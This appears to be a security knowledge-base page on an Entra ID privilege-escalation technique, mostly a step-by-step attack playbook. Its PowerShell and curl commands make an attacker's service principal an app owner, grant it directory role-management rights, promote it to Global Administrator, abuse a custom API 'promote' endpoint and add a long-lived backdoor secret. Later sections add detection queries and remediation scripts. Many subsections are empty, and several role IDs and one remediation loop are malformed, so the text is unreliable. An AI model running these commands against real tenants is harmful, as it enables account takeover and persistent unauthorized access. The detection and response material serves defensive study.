MCADDF

[PE-ELEVATE-004]: Custom API RBAC Bypass

Metadata

Attribute Details
Technique ID PE-ELEVATE-004
MITRE ATT&CK v18.1 T1548 - Abuse Elevation Control Mechanism
Tactic Privilege Escalation
Platforms Entra ID
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions All Entra ID versions; Custom API implementations vary
Patched In N/A (Design-dependent; requires application-level fixes)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Custom APIs (service-to-service authentication flows) often implement their own Role-Based Access Control (RBAC) layers independent of Entra ID’s built-in protections. These APIs may fail to validate:

An attacker with access to a low-privileged service principal (SP) or app registration can exploit misconfigured custom APIs to elevate their own role, add new credentials, or backdoor the application for persistent access. This bypasses the MITRE ATT&CK T1548 elevation control mechanisms that should prevent privilege escalation.

Attack Surface: Custom API endpoints, service-to-service authentication flows, Entra ID app registrations with overpermissioned Graph API permissions, federation protocols (SAML, OAuth 2.0).

Business Impact: An attacker can achieve privilege escalation without administrative notice, gain persistent access through credential backdooring, and compromise all downstream systems that depend on the custom API. This enables lateral movement to sensitive workloads and data.

Technical Context: Exploitation typically takes 5-30 minutes after gaining initial SP access. Detection likelihood is Low to Medium because most organizations don’t monitor custom API authorization flows; they only monitor Entra ID role assignments. Reversibility: Partial – Credentials can be removed, but access logs may be sparse.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Azure 6.3 | Ensure that ‘API Management’ APIs are protected with OAuth 2.0 or API Key authentication | | DISA STIG | AC-3(7) | Access Control - Role-Based Access Control (RBAC) | | CISA SCuBA | CISA AAD 4.1 | Enforce role-based access control for application permissions | | NIST 800-53 | AC-3 - Access Enforcement | Enforce access control decisions based on roles and attributes | | GDPR | Art. 32 - Security of Processing | Implement access control mechanisms to prevent unauthorized access | | DORA | Art. 15 - Governance Framework | Ensure proper access governance for critical ICT services | | NIS2 | Art. 21(1) | Implement appropriate technical and organizational measures to manage access | | ISO 27001 | A.9.2.2 - User Access Management | Implement role-based access controls | | ISO 27005 | Risk Scenario: “Unauthorized Privilege Escalation” | Compromise of service principal privileges |


2. ENVIRONMENTAL RECONNAISSANCE

Enumerate Service Principal Roles and Permissions

PowerShell:

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All, RoleManagement.ReadWrite.Directory"

# Get all app registrations with their current permissions
$Apps = Get-MgApplication -All

foreach ($App in $Apps) {
    $SP = Get-MgServicePrincipal -Filter "appId eq '$($App.AppId)'"
    
    Write-Host "App: $($App.DisplayName)"
    Write-Host "App ID: $($App.AppId)"
    Write-Host "Service Principal ID: $($SP.Id)"
    
    # Get assigned app roles (from other services)
    $AssignedRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id
    
    if ($AssignedRoles.Count -gt 0) {
        Write-Host "  Assigned Roles:"
        foreach ($Role in $AssignedRoles) {
            Write-Host "    - $($Role.AppRoleId)"
        }
    }
    
    # Check owners (potential escalation vector)
    $Owners = Get-MgApplicationOwner -ApplicationId $App.Id
    Write-Host "  Owners: $($Owners.Count)"
    Write-Host "---"
}

What to Look For:

Azure CLI:

# List all app registrations
az ad app list --query '[].{displayName:displayName, appId:appId}' -o table

# Check permissions for specific app
APP_ID="00000000-0000-0000-0000-000000000000"
az ad app show --id $APP_ID --query 'requiredResourceAccess[*]' -o json

3. DETAILED EXECUTION METHODS

METHOD 1: AppRoleAssignment Self-Escalation via Graph API

Supported Versions: All (Entra ID cloud-based)

Step 1: Identify Target Service Principal with Escalable Permissions

Objective: Locate an SP with AppRoleAssignment.ReadWrite.All or similar escalation permissions

Command (PowerShell):

$token = "YOUR_SERVICE_PRINCIPAL_TOKEN"
$spId = "TARGET_SERVICE_PRINCIPAL_ID"

# Query Graph API to check current app role assignments
$uri = "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/appRoleAssignments"

$response = Invoke-RestMethod -Uri $uri `
  -Headers @{"Authorization" = "Bearer $token"} `
  -Method GET

$response.value | ForEach-Object {
    Write-Host "App Role ID: $($_.appRoleId)"
    Write-Host "Principal ID: $($_.principalId)"
}

Expected Output:

App Role ID: 9e3f94ae-4ad6-4201-abcdef01234567
Principal ID: 00000000-0000-0000-0000-000000000001
App Role ID: 9e3f94ae-4ad6-4201-bcdef0123456789
Principal ID: 00000000-0000-0000-0000-000000000002

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Add Self as Owner of Target Application

Objective: Become an owner of the application to maintain persistence and allow future modifications

Command (PowerShell):

$token = "YOUR_SERVICE_PRINCIPAL_TOKEN"
$targetAppId = "TARGET_APPLICATION_ID"
$yourSpId = "YOUR_SERVICE_PRINCIPAL_ID"

# Add your SP as an owner of the target app
$uri = "https://graph.microsoft.com/v1.0/applications/$targetAppId/owners/`$ref"

$body = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$yourSpId"
} | ConvertTo-Json

$response = Invoke-RestMethod -Uri $uri `
  -Headers @{
      "Authorization" = "Bearer $token"
      "Content-Type" = "application/json"
  } `
  -Method POST `
  -Body $body

Write-Host "Added as owner: $($response.statusCode)"

Expected Output:

Added as owner: 204

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Assign High-Privilege App Role to Self

Objective: Grant yourself a critical Graph API permission (e.g., RoleManagement.ReadWrite.Directory) that enables direct privilege escalation to Global Admin

Command (PowerShell):

$token = "YOUR_SERVICE_PRINCIPAL_TOKEN"
$msGraphSpId = "00000003-0000-0000-c000-000000000000"  # Microsoft Graph Service Principal ID (constant)
$targetRoleId = "9e3f94ae-4ad6-4201-bcdef0123456789"   # RoleManagement.ReadWrite.Directory
$yourSpId = "YOUR_SERVICE_PRINCIPAL_ID"

# Create app role assignment via Graph API
$uri = "https://graph.microsoft.com/v1.0/servicePrincipals/$yourSpId/appRoleAssignedTo"

$body = @{
    "principalId" = $yourSpId
    "resourceId" = $msGraphSpId
    "appRoleId" = $targetRoleId
} | ConvertTo-Json

$response = Invoke-RestMethod -Uri $uri `
  -Headers @{
      "Authorization" = "Bearer $token"
      "Content-Type" = "application/json"
  } `
  -Method POST `
  -Body $body

Write-Host "Role Assignment ID: $($response.id)"
Write-Host "Role Assigned Successfully"

Expected Output:

Role Assignment ID: a1b2c3d4-e5f6-7g8h-i9j0-k1l2m3n4o5p6
Role Assigned Successfully

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Use New Permission to Escalate to Global Admin

Objective: Leverage the RoleManagement.ReadWrite.Directory permission to promote your SP to Global Administrator

Command (PowerShell):

$newToken = "YOUR_SERVICE_PRINCIPAL_TOKEN_WITH_NEW_PERMISSION"
$yourSpId = "YOUR_SERVICE_PRINCIPAL_ID"
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"  # Global Administrator role ID (constant)

# Assign Global Administrator role to your SP
$uri = "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

$body = @{
    "principalId" = $yourSpId
    "roleDefinitionId" = $globalAdminRoleId
    "directoryScopeId" = "/"
} | ConvertTo-Json

$response = Invoke-RestMethod -Uri $uri `
  -Headers @{
      "Authorization" = "Bearer $newToken"
      "Content-Type" = "application/json"
  } `
  -Method POST `
  -Body $body

Write-Host "Global Admin Role Assignment: $($response.id)"
Write-Host "ESCALATION COMPLETE - Your SP is now Global Administrator"

Expected Output:

Global Admin Role Assignment: z1y2x3w4-v5u6-t7s8-r9q0-p1o2n3m4l5k6
ESCALATION COMPLETE - Your SP is now Global Administrator

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Custom API Misconfiguration (Direct RBAC Bypass)

Supported Versions: Depends on custom API implementation; typically present in APIs developed before 2020

Step 1: Enumerate Custom API Endpoints

Objective: Identify custom APIs exposed through app registrations or Azure App Service

Command (Bash with curl):

#!/bin/bash
# Enumerate custom API endpoints registered in Entra ID

TOKEN="YOUR_ACCESS_TOKEN"
TENANT_ID="YOUR_TENANT_ID"

# Get all application registrations
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/applications?`$filter=publisherDomain eq '$TENANT_ID'" \
  | jq '.value[] | {displayName, identifierUris, appId}' > /tmp/apps.json

# Parse and test each API
cat /tmp/apps.json | jq -r '.identifierUris[]?' | while read -r API_URI; do
    echo "[*] Testing API: $API_URI"
    
    # Try to access API root without authentication
    curl -s -I "$API_URI" | head -n 1
    
    # Try common endpoints
    for endpoint in /api/roles /api/permissions /api/users /api/admin; do
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$API_URI$endpoint")
        echo "  $endpoint: HTTP $HTTP_CODE"
    done
done

Expected Output:

[*] Testing API: https://api.contoso.com
  HTTP/1.1 200 OK
  /api/roles: HTTP 200
  /api/permissions: HTTP 403
  /api/users: HTTP 401
  /api/admin: HTTP 404

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Identify RBAC Misconfiguration

Objective: Detect custom APIs that don’t properly validate RBAC before role assignment

Command (PowerShell):

$token = "YOUR_SERVICE_PRINCIPAL_TOKEN"
$customApiBaseUrl = "https://api.contoso.com"

# Test 1: Try to list your current role
$testUri = "$customApiBaseUrl/api/roles/me"
try {
    $response = Invoke-RestMethod -Uri $testUri `
      -Headers @{"Authorization" = "Bearer $token"} `
      -Method GET
    
    Write-Host "Current Role: $($response.role)"
    Write-Host "[!] API returns current role - Potential RBAC issue"
} catch {
    Write-Host "Cannot retrieve current role (expected behavior)"
}

# Test 2: Try to escalate role directly
$escalateUri = "$customApiBaseUrl/api/roles/me/promote"
$body = @{
    "targetRole" = "Admin"
    "reason" = "System Maintenance"
} | ConvertTo-Json

try {
    $response = Invoke-RestMethod -Uri $escalateUri `
      -Headers @{
          "Authorization" = "Bearer $token"
          "Content-Type" = "application/json"
      } `
      -Method POST `
      -Body $body
    
    if ($response.success -eq $true) {
        Write-Host "[!!!] ESCALATION SUCCESSFUL!"
        Write-Host "New Role: $($response.newRole)"
    }
} catch {
    Write-Host "Escalation endpoint rejected request (expected behavior)"
}

Expected Output (Vulnerable API):

Current Role: User
[!] API returns current role - Potential RBAC issue
[!!!] ESCALATION SUCCESSFUL!
New Role: Admin

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Persist Access via Credential Backdoor

Objective: Add a new credential/token to the compromised app registration for persistent access

Command (PowerShell):

$token = "YOUR_SERVICE_PRINCIPAL_TOKEN_WITH_ADMIN_ROLE"
$targetAppId = "COMPROMISED_APP_REGISTRATION_ID"

# Generate a new password credential valid for 2 years
$startDate = Get-Date
$endDate = $startDate.AddYears(2)

$passwordCredential = @{
    displayName = "Service Account Credential"
    endDateTime = $endDate
} | ConvertTo-Json

$uri = "https://graph.microsoft.com/v1.0/applications/$targetAppId/addPassword"

$response = Invoke-RestMethod -Uri $uri `
  -Headers @{
      "Authorization" = "Bearer $token"
      "Content-Type" = "application/json"
  } `
  -Method POST `
  -Body $passwordCredential

Write-Host "Credential Added:"
Write-Host "  Secret: $($response.secretText)"
Write-Host "  Valid Until: $($response.endDateTime)"
Write-Host ""
Write-Host "Use this for persistent access:"
Write-Host "  Client ID: $targetAppId"
Write-Host "  Client Secret: $($response.secretText)"

Expected Output:

Credential Added:
  Secret: BrxF~-abcdef1234567890_XyZ123~
  Valid Until: 2027-01-09T10:00:00Z

Use this for persistent access:
  Client ID: 00000000-0000-0000-0000-000000000000
  Client Secret: BrxF~-abcdef1234567890_XyZ123~

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


4. SPLUNK DETECTION RULES

Rule 1: Service Principal Adding High-Privilege Graph Permissions

Rule Configuration:

SPL Query:

index=azure_activity OperationName="Update application" 
| search ModifiedProperties=*AppRoleAssignment* OR ModifiedProperties=*RoleManagement* 
| eval privileged_roles=case(
    ModifiedProperties match "RoleManagement.ReadWrite.Directory", "CRITICAL",
    ModifiedProperties match "AppRoleAssignment.ReadWrite.All", "CRITICAL",
    ModifiedProperties match "Application.ReadWrite.All", "HIGH",
    ModifiedProperties match "Directory.ReadWrite.All", "HIGH"
  ) 
| where privileged_roles != "" 
| table _time, user, OperationName, ResultDescription, ModifiedProperties

What This Detects:


5. MICROSOFT SENTINEL DETECTION

Query 1: Service Principal Privilege Escalation via Graph API

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName has_any ("Update application", "Assign app role to service principal")
| where ModifiedProperties has_any (
    "RoleManagement.ReadWrite.Directory",
    "AppRoleAssignment.ReadWrite.All",
    "Application.ReadWrite.All"
  )
| extend 
    TargetAppId = tostring(TargetResources[0].id),
    TargetAppName = tostring(TargetResources[0].displayName),
    InitiatedByUser = tostring(InitiatedBy.user.userPrincipalName),
    InitiatedByApp = tostring(InitiatedBy.app.displayName)
| project
    TimeGenerated,
    OperationName,
    TargetAppName,
    InitiatedByUser,
    InitiatedByApp,
    ModifiedProperties,
    ResultDescription
| where ResultDescription !contains "failure"

Manual Configuration Steps (PowerShell):

Connect-MgGraph -Scopes "SecurityEvents.Read.All"

$ruleParams = @{
    DisplayName = "Service Principal Privilege Escalation via Graph API"
    Query = @"
AuditLogs
| where OperationName has_any ("Update application", "Assign app role")
| where ModifiedProperties has_any ("RoleManagement.ReadWrite.Directory", "AppRoleAssignment.ReadWrite.All")
| extend TargetAppName = tostring(TargetResources[0].displayName)
| where ResultDescription !contains "failure"
"@
    Severity = "Critical"
    Frequency = "PT5M"
    Period = "PT1H"
    Enabled = $true
}

New-MgSecurityAlertRule -BodyParameter $ruleParams

6. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious App Permission Assignment”


7. WINDOWS EVENT LOG MONITORING

Event ID: 4661 (Object Access)


8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Verify dangerous permissions are removed
$DangerousPermissions = @(
    "9e3f94ae-4ad6-4201-bcdef0123456789",
    "9e3f94ae-4ad6-4201-abcdef01234567"
)

$VulnerableSPs = @()

$ServicePrincipals = Get-MgServicePrincipal -All

foreach ($SP in $ServicePrincipals) {
    $AppRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id
    
    foreach ($Role in $AppRoles) {
        if ($Role.AppRoleId -in $DangerousPermissions) {
            $VulnerableSPs += $SP.DisplayName
        }
    }
}

if ($VulnerableSPs.Count -eq 0) {
    Write-Host "✓ No service principals with dangerous permissions found"
} else {
    Write-Host "✗ Found $($VulnerableSPs.Count) vulnerable service principals:"
    $VulnerableSPs | ForEach-Object { Write-Host "  - $_" }
}

9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Response Procedures

  1. Isolate:
    # Disable the compromised service principal
    $SpId = "COMPROMISED_SP_ID"
    Update-MgServicePrincipal -ServicePrincipalId $SpId -AccountEnabled:$false
       
    # Revoke all credentials
    $Creds = Get-MgServicePrincipal -ServicePrincipalId $SpId | 
        Select-Object -ExpandProperty PasswordCredentials
       
    foreach ($Cred in $Creds) {
        Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId $SpId -KeyId $Cred.KeyId
    }
    
  2. Collect Evidence:
    # Export all audit logs for the compromised SP
    $StartDate = (Get-Date).AddDays(-30)
    Search-UnifiedAuditLog -StartDate $StartDate -ObjectIds "COMPROMISED_SP_ID" `
      | Export-Csv -Path "C:\Evidence\audit_logs.csv"
    
  3. Remediate:
    # Remove dangerous permissions
    $SpId = "COMPROMISED_SP_ID"
    $DangerousRoles = @("RoleManagement.ReadWrite.Directory", "AppRoleAssignment.ReadWrite.All")
       
    $Assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SpId
       
    foreach ($Assignment in $Assignments) {
        $RoleName = (Get-MgDirectoryObjectById -Ids $Assignment.AppRoleId).DisplayName
        if ($RoleName -in $DangerousRoles) {
            Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SpId `
                -AppRoleAssignmentId $Assignment.Id
        }
    }
    

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-001] App Proxy Exploitation Attacker gains initial SP access via vulnerable App Proxy
2 Credential Access [CA-TOKEN-006] SP Certificate Theft Attacker steals SP certificate
3 Current Step [PE-ELEVATE-004] Custom API RBAC Bypass - Escalates via custom API misconfiguration
4 Privilege Escalation [PE-ACCTMGMT-001] App Registration Escalation Attacker gains Global Admin via app roles
5 Persistence [PERSIST-TOKEN-001] Backdoor Credential Attacker adds backdoor credential to app
6 Impact [EXFIL-M365-001] Tenant Data Exfiltration Attacker exfiltrates sensitive data

11. REAL-WORLD EXAMPLES

Example 1: Lapsus$ Custom API Exploitation (2022)

Example 2: Scattered Spider App Registration Exploitation (2023-2024)


12. REFERENCES & RESOURCES